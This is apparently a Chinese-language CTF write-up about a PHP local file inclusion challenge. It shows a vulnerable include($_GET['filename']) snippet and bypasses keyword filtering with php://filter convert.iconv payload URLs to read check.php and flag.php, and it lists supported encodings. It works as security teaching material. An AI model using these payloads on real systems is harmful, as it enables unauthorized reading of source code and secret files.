<?phphighlight_file(__FILE__);include(“./check.php”);if(isset($_GET[‘filename’])){$filename = $_GET[‘filename’];include($filename);}?>使用php://filter 发现不行,猜测应该被过滤了
继续尝试,发现read,base64,encode等关键字符被过滤了
了解到php中有两种转换器
发现string被过滤,只能使用convert了
convert.*过滤器支持convert.iconv.* 格式,使用方法:
convert.iconv.<input-encoding>.<output-encoding>
或
convert.iconv.<input-encoding>/<output-encoding>例如:
convert.iconv.UCS-4*.UCS-4BE —> 将指定的文件从UCS-4*转换为UCS-4BE 输出
构造url,然后使用bp进行爆破
?filename=php://filter/convert.iconv.a.b/resource=check.phpphp支持的编码格式(部分)
- UCS-4*
- UCS-4BE
- UCS-4LE*
- UCS-2
- UCS-2BE
- UCS-2LE
- UTF-32*
- UTF-32BE*
- UTF-32LE*
- UTF-16*
- UTF-16BE*
- UTF-16LE*
- UTF-7
- UTF7-IMAP
- UTF-8*
- ASCII*
- EUC-JP*
- SJIS*
- eucJP-win*
- SJIS-win*
- ISO-2022-JP
- ISO-2022-JP-MS
- CP932
- CP51932
- SJIS-mac(别名:MacJapanese)
- SJIS-Mobile#DOCOMO(别名:SJIS-DOCOMO)
- SJIS-Mobile#KDDI(别名:SJIS-KDDI)
- SJIS-Mobile#SOFTBANK(别名:SJIS-SOFTBANK)
- UTF-8-Mobile#DOCOMO(别名:UTF-8-DOCOMO)
- UTF-8-Mobile#KDDI-A
- UTF-8-Mobile#KDDI-B(别名:UTF-8-KDDI)
- UTF-8-Mobile#SOFTBANK(别名:UTF-8-SOFTBANK)
- ISO-2022-JP-MOBILE#KDDI(别名:ISO-2022-JP-KDDI)
选取一种编码组合,UTF-7,UCS-4LE*
猜测flag在falg.php
?filename=php://filter/convert.iconv.UTF-8*.UCS-4LE*/resource=flag.php
声明:本站所有资源,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。